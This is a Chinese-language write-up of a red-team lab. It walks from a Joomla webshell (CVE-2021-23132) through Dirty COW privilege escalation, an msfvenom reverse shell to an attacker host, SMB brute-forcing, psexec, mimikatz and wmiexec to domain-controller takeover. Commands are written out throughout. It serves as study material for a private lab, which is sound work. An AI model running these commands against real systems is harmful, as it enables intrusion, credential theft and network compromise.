目錄
一、前期準備
二、外網探測
1.使用nmap進行掃描
2.網站信息收集
?3.漏洞復現(CVE-2021-23132)
4.disable_function繞過
5.反彈shell(也,并不是)
6.SSH登錄
7.權限提升(臟牛漏洞)
8.信息收集
9.上線msf
三、內網滲透
1.設置路由
?2.信息收集
3.橫向移動(SMB爆破)
4.域控橫向
四、總結
一、前期準備
將五個虛擬機準備好
然后配置網絡,這里只需要額外配置一個網段,即:192.168.93.0/24 作為內網網段,設置為僅主機模式
而 192.168.57.0/24作為外網,為NAT模式。
具體的網絡拓撲圖可以這樣看,記得93網段要配置相應的VMnet3(不然后面的路由設置會出問題)
注:不可重新啟動,并沒有密碼可以進行登錄。內網的機器下載好掛著就行。只需要配置好centos機器的網絡就行。(保險起見可以預先拍個快照)
二、外網探測
1.使用nmap進行掃描
發現一臺出網機器IP地址:192.168.57.145 對該IP地址進行端口掃描
發現開了三個端口,再詳細收集下信息。
推測此時應該是Ubuntu,再查看此時的80網頁信息
2.網站信息收集
發現使用的cms是Joomla,這個之前在做DC靶機時接觸過,有相應的掃描工具Joomscan,可以掃描一下查看對應的版本信息以及目錄:
joomscan -u http://192.168.57.145
得到:
?可以得知版本信息為:Joomla 3.9.12 ,搜了一下,發現還是自己以前復現過的一個漏洞,但是得先進入后臺才有操作空間,于是就到/administrator目錄下嘗試登錄
搜索Joomla的默認密碼
發現并沒有作用,再嘗試弱口令進行爆破,也沒有什么進展。閱讀之前掃出來的robots.txt,也沒得到什么有用的信息。在使用Joomscan掃描目錄的過程中,我發現有一部分目錄內容怎樣也掃描不出來,于是我再嘗試用dirmap進行掃描,得到了一些其他的目錄:
?這下掃出來的文件就相當有用:
1.php 包含了一些配置信息
?configuration.php~ 里面竟然含有數據庫賬號秘密
記得我們之前掃出來的3306端口是開放的,從數據庫中獲取登錄的賬號密碼也可以支持我們登錄,但最終得到的應該是加密格式,需要進行解密。使用Navicat進行數據庫連接:
連接成功! 進入joomla數據庫,找到表am2zu_users ,可以看到一個super user賬戶
但是真的需要去爆破密碼嗎?之前學習過的經驗告訴我可以直接在這里修改密碼,假設是123456,直接嘗試發現并不行,后來我又想到之前在做校驗的時候,我是用md5(input)===password的,而非input===password。也就是說我應該將123456的加密值填進去
將$2y$10$OLQJ/GnhLJR/AqLsSk1hFOyqL8TxGG2r9R3QeRCibGCQGj6ZyJvCe填入修改的密碼,再使用123456進行登錄!
?3.漏洞復現(CVE-2021-23132)
已知我們前面已經得知了joomla的版本:3.9.12 于是可以嘗試復現漏洞:CVE-2021-23132
具體的復現原理可以參考我這篇文章:vulfocus漏洞學習——joomla 遠程代碼執行 (CVE-2021-23132)_joomla 遠程代碼執行 (cve-2021-23132)-CSDN博客
(1)首先點擊media
(2)再點擊options
修改此時的文件路徑,返回Media
(3)寫入一句話木馬
此時發現成功實現目錄遍歷,現在嘗試找到error.php文件,再嘗試寫入一句話木馬
?
點擊保存就行了,但還需要觸發它, 根據下面給的提示
嘗試訪問路徑:http://192.168.57.145/templates/beez3/error.php,沒出錯就是執行成功了
然后再用蟻劍連接:
getshell成功! 拿到shell肯定要嘗試一下命令的,發現拿到的可能是個空shell
?然后我又想到以前學習過的disable_functions繞過的知識,回顧一下:
LD_PRELOAD 繞過 disable_function 學習_繞ld-CSDN博客
4.disable_function繞過
這里為方便直接用蟻劍的插件進行繞過了,記得要設置代理
點擊上面的選擇模式:
然后點擊開始就成功繞過了
5.反彈shell(也,并不是)
當getshell后,彈到kali上用msf對于后續的滲透會方便一些,但我發現反彈shell好像沒有這么輕松(嘗試了發現都沒有作用)。當我對拿下的這臺機器進行信息收集時:
并沒有按預料的出現我們之前探尋的IP地址192.168.57.145 ,反倒是出現了一個新的網段:192.168.93.120/24。這是怎么回事?(此時假設我不知道Centos和之前環境的配置)可以確定的是Ubuntu的ip地址應該是192.168.93.120 但kali機應該是無法訪問到該網段的,猜測有可能是有反向代理服務器,將我kali的請求轉發給了Ubuntu!這也是為什么無法直接反彈shell的原因,因為設置的是反向代理而非正向:
現在,拿下反向代理服務器應該才是重點,之前在進行端口掃描的時候發現開啟了22端口,并且正好這個端口是沒有用到的。也許需要以這個為突破口,但是想要SSH登錄的話勢必就需要賬號和密碼,看看我們拿下的Ubuntu中會不會給予一些信息。
6.SSH登錄
如果Ubuntu會給賬號密碼的話,一般我會嘗試去那些看起來符合“我的習慣”的地方查,比如一些臨時文件用以記憶,一些專門的目錄存儲賬號密碼等。最終在/tmp/mysql下找到了一個test.txt文件:
嘗試SSH登錄:
成功登錄!
7.權限提升(臟牛漏洞)
拿下了一臺機器就要嘗試獲得其最高權限,之后才好傳遞給msf或者cs,首先查看一下版本有沒有可能有內核提權漏洞:
可以看到用臟牛漏洞貌似是可以的,復現一下:GitHub - firefart/dirtycow: Dirty Cow exploit - CVE-2016-5195
下載好文件,放在跳板機里:
?然后對dirty.c進行編譯,生成可執行文件
[wwwuser@localhost ~]$ gcc -pthread dirty.c -o dirty -lcrypt
[wwwuser@localhost ~]$ ls
dirty dirty.c
?執行文件
?這里顯示/tmp/passwd.bak已經存在了,先備份一份然后再刪除試試
這里發現已經可以了,后面跟的123456是我新輸入的密碼,對應下面的firefart賬戶(默認賬戶):
提權成功!
8.信息收集
(1)查看網段信息
發現192.168.93.100 應該是其內網IP
9.上線msf
首先生成一個linux上線木馬
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.57.128 LPORT=5555 -f elf -o shell.elf
?然后上傳到跳板機中,先賦予權限后執行。然后回到kali中,啟動msf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.57.128
set LPORT 5555
run
成功上線!
三、內網滲透
一開始我想著嘗試msf和cs進行聯動,但將msf的linux會話傳遞過去暫時還沒有什么頭緒(網上一般是傳遞windows會話)所以后面會一直使用msf進行滲透,正好學習一下msf的用法(cs用太多了)
1.設置路由
查看一下路由信息
接下來要對192.168.93.0/24這個內網網段進行信息探測,需要先配置好路由。先將目標子網添加到路由表中,使得進入192.168.93.0/24的流量可以通過跳板機進行轉發
bg
use auxiliary/server/socks_proxy # 啟動socks代理模塊,搭建代理服務器
set version 4a # 設置代理協議版本
set srvport 8989 # 監聽的端口
run
?
?2.信息收集
1. 探測一下存活的主機(這個時候可以把剩下幾個虛擬機打開了,不然可能掃不到)
按這樣設置就行,可以得到掃描的主機結果:
192.168.93.10 WIN-8GA56TNV3MV
192.168.93.20 WIN2008
192.168.93.30 WIN7
2.對這些IP地址進行端口掃描
msf6 auxiliary(scanner/discovery/udp_probe) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > optionsModule options (auxiliary/scanner/portscan/tcp):Name Current Setting Required Description---- --------------- -------- -----------CONCURRENCY 10 yes The number of concurrent ports to check per hostDELAY 0 yes The delay between connections, per thread, in millisecondsJITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) inmilliseconds.PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htmlTHREADS 1 yes The number of concurrent threads (max one per host)TIMEOUT 1000 yes The socket connect timeout in millisecondsView the full module info with the info, or info -d command.93.30auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.93.10 192.168.93.20 192.168.
RHOSTS => 192.168.93.10 192.168.93.20 192.168.93.30
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 192.168.93.10: - 192.168.93.10:53 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:88 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:135 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:139 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:389 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:445 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:464 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:593 - TCP OPEN
[+] 192.168.93.10: - 192.168.93.10:636 - TCP OPEN
[*] Scanned 1 of 3 hosts (33% complete)
[*] Scanned 1 of 3 hosts (33% complete)
[+] 192.168.93.20: - 192.168.93.20:80 - TCP OPEN
[*] Scanned 1 of 3 hosts (33% complete)
[+] 192.168.93.20: - 192.168.93.20:135 - TCP OPEN
[+] 192.168.93.20: - 192.168.93.20:139 - TCP OPEN
[+] 192.168.93.20: - 192.168.93.20:445 - TCP OPEN
[+] 192.168.93.20: - 192.168.93.20:1433 - TCP OPEN
[+] 192.168.93.20: - 192.168.93.20:2383 - TCP OPEN
[*] Scanned 2 of 3 hosts (66% complete)
[*] Scanned 2 of 3 hosts (66% complete)
[*] Scanned 2 of 3 hosts (66% complete)
[+] 192.168.93.30: - 192.168.93.30:135 - TCP OPEN
[+] 192.168.93.30: - 192.168.93.30:139 - TCP OPEN
[+] 192.168.93.30: - 192.168.93.30:445 - TCP OPEN
[*] Scanned 3 of 3 hosts (100% complete)
[*] Auxiliary module execution completed
發現三臺機器都開了445端口,可以對其中的win2008和win7都嘗試一下SMB爆破
3.橫向移動(SMB爆破)
關于SMB這部分我并沒有接觸得很多,所以需要學習一下其他師傅的方法,同樣也是在msf上:
use auxiliary/scanner/smb/smb_login
set threads 5
set RHOSTS 192.168.93.20
set SMBUser administrator
set pass_file /root/dict/pass.txt # 積累的字典,實在不行就將真實密碼填上去了
run
成功得到win2008的密碼:123qwe!ASD
有了密碼之后就可以直接嘗試psexec橫向移動:
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp # 反向TCP連接會話
set SMBUser administrator
set SMBPass 123qwe!ASD
set RHOSTS 192.168.93.20
run
成功橫向!并且得到的還是SYSTEM權限。繼續進行信息收集:
發現域信息:域為test.org 并以此得到域控的IP為:192.168.93.10
接下來就得嘗試域控橫向了,在meterpreter中加載mimikatz
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
按這樣的命令應該是能夠正常抓取到域控(192.168.93.10)的密碼的,但我一直抓取不到。我將Mimikatz直接下載到虛擬機win2012中抓取也顯示的是null,嘗試去修改注冊表然后重新登錄了下,倒是能看到密碼了,但用win2008依舊無法抓取到。 但看別的師傅都能成功抓取到,為了節省時間,先假設我抓到了吧。
4.域控橫向
直接使用之前的psexec不成功,考慮用wmiexec進行橫向
WMIexec利用WMI協議執行命令。它先調用WMI通過賬號密碼或NTLM認證連接到遠程計算機,若提供賬號密碼則建立到目標IPC連接,接著WMI建立共享文件夾用于遠程讀取命令執行結果。wmiexec操作更加隱蔽,其操作記錄不會被Windows記錄到日志中。
首先,我們前面配置了代理:
然后需要修改我們的 /etc/proxychains4.conf文件
接著運行:
proxychains4 python3 wmiexec.py -debug 'administrator:zxcASDqw123!!@192.168.93.10'
成功拿下域控! 但想要用msf進行統一管理,反正我們之前的psexec橫向沒有成功,也才猜測是開了防火墻的原因。嘗試將win2012的防火墻關閉,再嘗試進行psexec橫向
netsh advfirewall set allprofiles state off # 關閉防火墻
橫向成功!
四、總結
????????前段時間備考計組計網導致很久沒有學習了,要開始狠狠補救一下了。到前面的外網滲透都還挺順的,一進入內網,特別是使用msf時,就有些懵了。今天學習到的msf知識還是很多的,總體來說遇到的問題有,但換個法子也能解決。比如最后面的用msf來管理win2012,我一開始是學習其他師傅使用IPC來共享win2008中的木馬,從而讓win2012上線,但是一直顯示出錯,后來就又想到直接橫向了。
??????? 如果有問題的地方,還請提出(抱拳)
?
?